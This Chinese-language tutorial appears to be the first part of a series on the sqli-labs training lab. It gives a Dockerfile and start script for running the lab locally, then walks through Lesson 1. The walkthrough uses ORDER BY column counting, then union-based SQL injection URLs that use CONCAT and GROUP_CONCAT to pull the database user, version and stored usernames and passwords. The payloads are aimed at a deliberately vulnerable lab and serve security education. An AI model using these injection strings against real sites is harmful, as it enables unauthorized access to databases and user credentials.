请自己安装好docker,然后使用ubuntu:14.04的镜像
docker pull ubuntu:14.04
以下是pcat提供的Dockerfile和start.sh,请把这2个文件放在同一个文件夹下
(如果不懂docker的话,可以借此机会学习学习下)
Dockerfile:
FROM ubuntu:14.04
MAINTAINER pcat@chamd5.org
ENV REFRESHED_AT 2017-11-14
ENV LANG C.UTF-8
# change sources.list
RUN sed -i 's/http:\/\/archive.ubuntu.com\/ubuntu\//http:\/\/mirrors.163.com\/ubuntu\//g' \
/etc/apt/sources.list
# update
RUN apt-get update
ENV DEBIAN_FRONTEND noninteractive
# install apache2,mysql,php
RUN apt-get -y install apache2
RUN apt-get -y install mysql-server
RUN apt-get -y install php5 libapache2-mod-php5
RUN apt-get install -yqq php5-mysql php5-curl php5-gd php5-intl \
php-pear php5-imagick php5-imap php5-mcrypt php5-memcache \
php5-ming php5-ps php5-pspell php5-recode php5-snmp \
php5-sqlite php5-tidy php5-xmlrpc php5-xsl
# install vi
RUN apt-get -y remove vim-common
RUN apt-get -y install vim
# install wget,sqli-labs,unzip
RUN apt-get -y install wget
RUN wget https://github.com/Audi-1/sqli-labs/archive/master.zip -P /var/www/html
RUN apt-get -y install unzip
RUN unzip /var/www/html/master.zip -d /var/www/html/
RUN mv /var/www/html/sqli-labs-master /var/www/html/sqli-labs
#
COPY start.sh /root/start.sh
ENTRYPOINT chmod +x /root/start.sh ; ./root/start.sh
EXPOSE 80
start.sh:
#!/bin/bash
sleep 1
# start
/etc/init.d/apache2 start
service mysql start
# import
mysql < /var/www/html/sqli-labs/sql-lab.sql
# clean
history -c
/bin/bash
生成镜像的命令:
docker build -t "sqli-labs" .
运行的命令:
docker run -itd -p 80:80 sqli-labs /bin/bash
url:/sqli-labs/Less-1/?id=1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
我们可以看到$id这个变量被单引号包裹,所以是字符型当我们传入参数的时候存在’会报错
url:/sqli-labs/Less-1/?id=1%27%20order%20by%201,2,3,4%20--%20- //查看多少列,可以用二分法去猜测节约时间。
由图可以看到第四列的时候它爆出不存在,由此我们可以判断出只有三列,此时我们回到mysql查看下是否正确,如图:
url:/sql/Less-1/?id=1%27%20union%20select%201,2,3%20--%20- //使用联合查询语句判断回显位置,如下图:
是不是很奇怪为什么明明看到显位但是页面回显正常,然后我们回到代码去看
我们可以看到
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
这段代码把查询结果的username,password字段输出到页面。注意mysql_fetch_array这个函数
PHP mysql_fetch_array() 函数
mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。
我们的sql语句查询出来两行,但是到php去输出的时候被这个函数只取一行输出出来,所以我们只需要把第一个闭合的语句失效,查一条不存在的或者让它and 1=2永远不成立然后再用union 进行拼接便会找到显位。如图:
找到显位下面我们在显位插入我们要拼接的SQL语句即可,便可以查询出我们想要的信息,在这之前我们先介绍几个mysql的函数:
MySQL的行转列、列转行、连接字符串 concat、concat_ws、group_concat函数用法
CONCAT(str1,str2,…)
CONCAT_WS(separator,str1,str2,...)
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔 符'])
CONCAT函数:
url:/sql/Less-1/?id=1' and 1=2 union select 1,CONCAT(USER(),DATABASE(),VERSION()),3 -- -
CONCAT_WS函数:
url:/sql/Less-1/?id=1' and 1=2 union select 1,CONCAT_WS(':',USER(),DATABASE(),VERSION()),3 -- -
可以看出我们用:添加分隔符,进行分隔提取出来的字段多条时方便查看。
GROUP_CONCAT函数:
url:/sql/Less-1/?id=1' and 1=2 union select 1,(SELECT+GROUP_CONCAT(id+SEPARATOR+',')+FROM+security.users),3 -- -
id是你想要查询的字段,group_concat函数separator是可将查询结果用字符串连接变为一行进行查询,后头跟分隔符。注:group_concat函数大小写敏感,所以表名出要小写。
接着我们查看id,username,password,这三个字段的内容;
url:/sql/Less-1/?id=1' and 1=2 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(id,username,password+SEPARATOR+'<br>')+FROM+security.users),3-- -
最后收尾,我们用一张图来解释sql注入:
第一关讲的详细些,后续只贴代码还有语句、分析,请自己去按照上文学习。共七十五关,半月一更,每更必有量与质。